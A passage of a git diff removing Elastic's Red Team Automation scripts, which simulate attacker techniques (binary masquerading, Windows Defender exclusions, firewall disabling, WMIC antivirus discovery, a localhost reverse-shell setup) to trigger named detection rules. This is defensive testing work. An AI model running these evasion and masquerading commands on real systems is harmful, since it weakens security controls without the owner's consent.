common.copy_file(EXE_FILE, rundll32) - - # Execute command - common.execute([rundll32, "/c", cmd], timeout=2, kill=True) - common.remove_file(rundll32) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_rundll32_davsetcookie.py b/rta/exec_cmd_rundll32_davsetcookie.py deleted file mode 100644 index f0dbe28af..000000000 --- a/rta/exec_cmd_rundll32_davsetcookie.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3a84dc01-0202-4aee-8cd1-5fdefead9f4f", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '4682fd2c-cfae-47ed-a543-9bed37657aa6', 'rule_name': 'Potential Local NTLM Relay via HTTP'}], - techniques=['T1212'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rundll32 = "C:\\Users\\Public\\rundll32.exe" - common.copy_file(EXE_FILE, rundll32) - - # Execute command - common.execute([rundll32, "/c", "echo", "C:\\Windows\\System32\\davclnt.dll,DavSetCookie", "https*/print/pipe/"], - timeout=10) - common.remove_file(rundll32) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_set_casmailbox.py b/rta/exec_cmd_set_casmailbox.py deleted file mode 100644 index 21282aa6b..000000000 --- a/rta/exec_cmd_set_casmailbox.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0eb19c28-f82f-4f69-b11f-3b946f310e32", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'ce64d965-6cb0-466d-b74f-8d2c76f47f05', - 'rule_name': 'New ActiveSyncAllowedDeviceID Added via PowerShell' - }], - techniques=['T1098', 'T1098.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.execute([powershell, "/c", "echo", "Set-CASMailbox ActiveSyncAllowedDeviceIDs"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_set_mppreference.py b/rta/exec_cmd_set_mppreference.py deleted file mode 100644 index cb74c8dba..000000000 --- a/rta/exec_cmd_set_mppreference.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2730b84c-9e39-4647-ba96-0b438aca9575", - platforms=["windows"], - endpoint=[], - siem=[ - { - 'rule_id': 'c8cccb06-faf2-4cd5-886e-2c9636cfcb87', - 'rule_name': 'Disabling Windows Defender Security Settings via PowerShell' - }, - { - 'rule_id': '2c17e5d7-08b9-43b2-b58a-0270d65ac85b', - 'rule_name': 'Windows Defender Exclusions Added via PowerShell' - } - ], - techniques=['T1562', 'T1562.001', 'T1562.006', 'T1059', 'T1059.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "Set-MpPreference", "-ExclusionPath", f"{powershell}"], timeout=10) - common.execute([powershell, "/c", f"Remove-MpPreference -ExclusionPath {powershell}"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_short_name.py b/rta/exec_cmd_short_name.py deleted file mode 100644 index 2c6fa9c3d..000000000 --- a/rta/exec_cmd_short_name.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f62ebacb-5d53-4f74-ae72-b64b8b6c899f", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '17c7f6a5-5bc9-4e1f-92bf-13632d24384d', - 'rule_name': 'Suspicious Execution - Short Program Name' - }], - techniques=['T1036', 'T1036.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rta = "C:\\Users\\Public\\a.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, rta) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, rta, "--set-version-string", "OriginalFilename", "rta.exe"]) - - common.execute([rta], timeout=2, kill=True) - - common.remove_files(rcedit, rta) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_windows_firewall_disabled.py b/rta/exec_cmd_windows_firewall_disabled.py deleted file mode 100644 index 5f0f3cbb9..000000000 --- a/rta/exec_cmd_windows_firewall_disabled.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1286c142-8acc-4b58-a7c1-572870c81bc1", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'f63c8e3c-d396-404f-b2ea-0379d3942d73', 'rule_name': 'Windows Firewall Disabled via PowerShell'}], - techniques=['T1562', 'T1562.004'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "echo", "Set-NetFirewallProfile", "-Enabled", "False", "-All"], timeout=2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_wmi_cmdexe.py b/rta/exec_cmd_wmi_cmdexe.py deleted file mode 100644 index 87edfc170..000000000 --- a/rta/exec_cmd_wmi_cmdexe.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f2e5c332-ad54-4bfa-8d51-ce1a85e749d7", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '12f07955-1674-44f7-86b5-c35da0a6f41a', 'rule_name': 'Suspicious Cmd Execution via WMI'}], - techniques=['T1047'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wmiprvse = "C:\\Users\\Public\\wmiprvse.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - common.copy_file(EXE_FILE, wmiprvse) - - # Execute command - common.execute([wmiprvse, "/c", cmd, "/c", "echo", "\\\\127.0.0.1\\", "'1>'"], timeout=5) - common.remove_file(wmiprvse) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_wmi_subscription.py b/rta/exec_cmd_wmi_subscription.py deleted file mode 100644 index 70532e72e..000000000 --- a/rta/exec_cmd_wmi_subscription.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3c2c32fd-0856-4fc9-8a2d-81ed85e568b0", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '9b6813a1-daf1-457e-b0e6-0bb4e55b8a4c', 'rule_name': 'Persistence via WMI Event Subscription'}], - techniques=['T1546', 'T1546.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wmic = "C:\\Users\\Public\\wmic.exe" - common.copy_file(EXE_FILE, wmic) - - common.execute([wmic, "/c", "echo", "create", "ActiveScriptEventConsumer"], timeout=5, kill=True) - common.remove_files(wmic) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_wmic_antivirus_enum.py b/rta/exec_cmd_wmic_antivirus_enum.py deleted file mode 100644 index 1ceacc3b2..000000000 --- a/rta/exec_cmd_wmic_antivirus_enum.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d123ee22-aa28-4dcd-9c3b-5be047eb6eff", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '6ea55c81-e2ba-42f2-a134-bccf857ba922', 'rule_name': 'Security Software Discovery using WMIC'}], - techniques=['T1518', 'T1518.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - wmic = "C:\\Windows\\System32\\wbem\\WMIC.exe" - - # Execute command - common.execute([wmic, "/namespace:\\\\root\\SecurityCenter2", "Path", - "AntiVirusProduct", "get", "displayname"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_workfolders.py b/rta/exec_cmd_workfolders.py deleted file mode 100644 index 1ac8cd2c0..000000000 --- a/rta/exec_cmd_workfolders.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a555c960-08af-49fe-8889-18434a604f68", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'ad0d2742-9a49-11ec-8d6b-acde48001122', - 'rule_name': 'Signed Proxy Execution via MS Work Folders' - }], - techniques=['T1218'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - workfolders = "C:\\Users\\Public\\WorkFolders.exe" - control = "C:\\Users\\Public\\control.exe" - common.copy_file(EXE_FILE, workfolders) - common.copy_file(EXE_FILE, control) - - # Execute command - common.execute([workfolders, "/c", control], timeout=2, kill=True) - common.remove_files(workfolders, control) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_xwizard.py b/rta/exec_cmd_xwizard.py deleted file mode 100644 index 6a769e432..000000000 --- a/rta/exec_cmd_xwizard.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bcdda7c2-cc0c-4555-8dda-86a3263c99ad", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '1a6075b0-7479-450e-8fe7-b8b8438ac570', - 'rule_name': 'Execution of COM object via Xwizard' - }], - techniques=['T1559', 'T1559.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - xwizard = "C:\\Users\\Public\\xwizard.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, xwizard) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, xwizard, "--set-version-string", "OriginalFilename", "xwizard.exe"]) - - common.execute([xwizard], timeout=2, kill=True) - - common.remove_files(rcedit, xwizard) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_conhost_indirect.py b/rta/exec_conhost_indirect.py deleted file mode 100644 index b2dc7657c..000000000 --- a/rta/exec_conhost_indirect.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="32e926c2-2f33-4dd0-ac77-12545331d3e4", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '4b61b37d-c569-444a-bafa-e29d221ee55c', - 'rule_name': 'Indirect Command Execution via Console Window Host' - } - ], - siem=[], - techniques=['T1202'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - conhost = "C:\\Users\\Public\\conhost.exe" - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, conhost) - common.copy_file(EXE_FILE, posh) - - common.execute([conhost, posh], timeout=10, kill=True) - common.remove_files(conhost, posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_control_panel_cpl.py b/rta/exec_control_panel_cpl.py deleted file mode 100644 index 0b261aaa6..000000000 --- a/rta/exec_control_panel_cpl.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ad9c9b24-cff3-4c4e-9fba-5c51ca9e58ae", - platforms=["windows"], - endpoint=[ - {"rule_name": "Control Panel Process with Unusual Arguments", "rule_id": "a4862afb-1292-4f65-a15f-8d6a8019b5e2"} - ], - siem=[], - techniques=["T1218"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Execute command - common.log("Executing control.exe with a non-existing .cpl file") - common.execute(["control.exe", "cpl1.cpl:../a"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cscript_archive_args.py b/rta/exec_cscript_archive_args.py deleted file mode 100644 index fc412d9fc..000000000 --- a/rta/exec_cscript_archive_args.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4aa158f6-39ed-456f-9d8a-849052cce2f5", - platforms=["windows"], - endpoint=[ - {'rule_id': '816e1e39-e1a3-4935-9b7b-18395d244670', 'rule_name': 'Windows Script Execution from Archive File'}, - {'rule_id': '16c84e67-e5e7-44ff-aefa-4d771bcafc0c', 'rule_name': 'Execution from Unusual Directory'}, - {'rule_id': '35dedf0c-8db6-4d70-b2dc-a133b808211f', 'rule_name': 'Binary Masquerading via Untrusted Path'}, - {'rule_id': '23e29d07-7584-465e-8a6d-912d9ea254a6', 'rule_name': 'Suspicious Image Load via Windows Scripts'} - ], - siem=[], - techniques=['T1059', 'T1059.007', 'T1566', 'T1566.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, cscript) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, cscript, "--set-version-string", "OriginalFilename", "cscript.exe"]) - - common.execute([cscript, "/c", "echo", "C:\\Users\\A\\Temp\\7zip"], timeout=5, kill=True) - common.remove_files(cscript) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cscript_suspicious_powershell.py b/rta/exec_cscript_suspicious_powershell.py deleted file mode 100644 index a1225e131..000000000 --- a/rta/exec_cscript_suspicious_powershell.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c562a05e-0ac8-46f9-91a2-5e99c8a1117c", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Suspicious PowerShell Execution via Windows Scripts", - "rule_id": "3899dd3b-f31a-4634-8467-55326cd87597", - }, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - common.copy_file(EXE_FILE, cscript) - - cmd = "powershell -c echo https://raw.githubusercontent.com/" - # Execute command - common.execute([cscript, "/c", cmd], timeout=10) - common.remove_file(cscript) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_dll_file_compressed.py b/rta/exec_dll_file_compressed.py deleted file mode 100644 index 56d0fda03..000000000 --- a/rta/exec_dll_file_compressed.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="bbad34f5-3542-4484-9b23-5ef05af94c0f", - platforms=["windows"], - endpoint=[{'rule_id': '08fba401-b76f-4c7b-9a88-4f3b17fe00c1', 'rule_name': 'DLL Loaded from an Archive File'}], - siem=[], - techniques=['T1204', 'T1204.002', 'T1574', 'T1574.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\Temp\\7z\\" - Path(path).mkdir(parents=True, exist_ok=True) - file = "C:\\Users\\Public\\Temp\\7z\\file.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\Temp\\7z\\unsigned.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - - common.copy_file(user32, dll) - common.copy_file(EXE_FILE, file) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute to invalidate the signature") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.dll"]) - - common.log("Loading unsigned DLL into fake taskhost") - common.execute([file, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(dll, ps1, rcedit, file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_dnguard_program.py b/rta/exec_dnguard_program.py deleted file mode 100644 index 04f691ee3..000000000 --- a/rta/exec_dnguard_program.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="db2e6589-d2df-4d9d-9d88-d91af5fd57e9", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'e691d379-6d01-43cc-9f1e-ab10df48a6bc', - 'rule_name': 'Execution of a DNGUard Protected Program' - }], - siem=[], - techniques=['T1027', 'T1027.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\HVMRuntm.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(EXE_FILE, posh) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - - # Execute command - - common.log("Loading DNGUard DLL") - common.execute([posh, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(posh, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_echo_named_pipe.py b/rta/exec_echo_named_pipe.py deleted file mode 100644 index 80a3a95f8..000000000 --- a/rta/exec_echo_named_pipe.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f94f70a3-7c63-4f75-b5bc-f2227e284934", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Privilege Escalation via Named Pipe Impersonation", - "rule_id": "a0265178-779d-4bc5-b3f1-abb3bcddedab", - } - ], - siem=[{ - 'rule_id': '3ecbdc9e-e4f2-43fa-8cca-63802125e582', - 'rule_name': 'Privilege Escalation via Named Pipe Impersonation' - }], - techniques=["T1134"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Execute command - common.execute(["cmd.exe", "/c", "echo", "cmd.exe", ">", "\\\\.\\pipe\\named"], timeout=5) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_explorer_trampoline.py b/rta/exec_explorer_trampoline.py deleted file mode 100644 index 2d5c8a1af..000000000 --- a/rta/exec_explorer_trampoline.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5e911636-6f68-40d3-b1ef-7a951a397cc9", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Execution of Commonly Abused Utilities via Explorer Trampoline", - "rule_id": "5e8498bb-8cc0-412f-9017-793d94ab76a5", - } - ], - siem=[], - techniques=["T1218", "T1566", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - explorer = "C:\\Users\\Public\\explorer.exe" - common.copy_file(EXE_FILE, explorer) - - common.execute( - [ - explorer, - "-c", - "echo", - "/factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}", - ";mshta", - ], - timeout=10, - ) - common.remove_files(explorer) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_from_mount.py b/rta/exec_from_mount.py deleted file mode 100644 index 168a95a7f..000000000 --- a/rta/exec_from_mount.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="21d1d048-b8c9-4b6d-9748-44f8af1b444d", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Shell Script Execution from abnormal Volume Mount Path", - "rule_id": "87def154-004d-4d3a-8224-591e41804454", - } - ], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/Volumes/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching bash commands to simulate execution from mounted volume") - common.execute([masquerade, "/Volumes/*/Contents/*"], timeout=10, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_from_python.py b/rta/exec_from_python.py deleted file mode 100644 index 0c94ec7e4..000000000 --- a/rta/exec_from_python.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="54041e42-7a4b-417e-ac40-cd50c7085e48", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Suspicious Python Package Child Process Execution", - "rule_id": "d8cbba0d-7275-4bcd-be22-79ee6fea2951", - } - ], - techniques=["T1059", "T1059.004", "T1059.006"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # test_file = "/tmp/test.txt" - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching bash commands to mimic python package execution") - parent_args = "*/lib/python*/site-packages/*" - common.execute([masquerade, "childprocess", parent_args, "-c"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_from_terminal.py b/rta/exec_from_terminal.py deleted file mode 100644 index da185c70e..000000000 --- a/rta/exec_from_terminal.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1b681241-d9f1-4239-a9e7-650ebc0c38a4", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Suspicious Terminal Child Process Execution", - "rule_id": "8e88d216-af7a-4f5c-8155-fa7d2be03987", - } - ], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/terminal" - common.create_macos_masquerade(masquerade) - - # Execute command - command = f"bash -c '/tmp/*'" - common.log("Launching bash commands to mimic terminal activity") - common.execute([masquerade, "childprocess", command], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_gfxdownloadwrapper.py b/rta/exec_gfxdownloadwrapper.py deleted file mode 100644 index 2f5a8d1bd..000000000 --- a/rta/exec_gfxdownloadwrapper.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e7f3a729-e5ee-462b-ba1c-dd778468d24d", - platforms=["windows"], - endpoint=[ - { - 'rule_id': 'aafe3c78-15d9-4853-a602-663b8fada5b5', - 'rule_name': 'Potential Evasion via Intel GfxDownloadWrapper' - } - ], - siem=[], - techniques=['T1218', 'T1105'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - gfx = "C:\\Users\\Public\\GfxDownloadWrapper.exe" - common.copy_file(EXE_FILE, gfx) - - common.execute([gfx, "/c", "echo", "run", "0", "http"], timeout=5, kill=True) - common.remove_files(gfx) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_ingress_tool_posh.py b/rta/exec_ingress_tool_posh.py deleted file mode 100644 index 59b786177..000000000 --- a/rta/exec_ingress_tool_posh.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0c0febf3-1ac3-4198-a31a-ec80b1f5ebbe", - platforms=["windows"], - endpoint=[ - {"rule_id": "5abd98fb-ffbe-4cd6-9592-3cda7b155ff5", "rule_name": "Ingress Tool Transfer via PowerShell"}, - {"rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f", "rule_name": "Binary Masquerading via Untrusted Path"}, - ], - siem=[], - techniques=['T1105', 'T1059', 'T1059.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Users\\Public\\powershell.exe" - common.copy_file(EXE_FILE, powershell) - - common.execute([powershell, "echo http;", powershell], timeout=5, kill=True) - common.remove_files(powershell) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_java_revshell_linux.py b/rta/exec_java_revshell_linux.py deleted file mode 100644 index e56b8bfb4..000000000 --- a/rta/exec_java_revshell_linux.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="e0db3577-879e-4ac2-bd58-691e1343afca", - platforms=["linux"], - endpoint=[{"rule_name": "Potential Linux Reverse Shell via Java", "rule_id": "e0db3577-879e-4ac2-bd58-691e1343afca"}], - siem=[], - techniques=["T1059", "T1071"], -) - -@common.requires_os(*metadata.platforms) - -def main(): - common.log("Creating a fake Java executable..") - masquerade = "/bin/java" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - - common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) - - commands = [ - masquerade, - 'chain', - '-h', - '127.0.0.1', - '-p', - '1337', - '-c', - '-jar' - ] - - 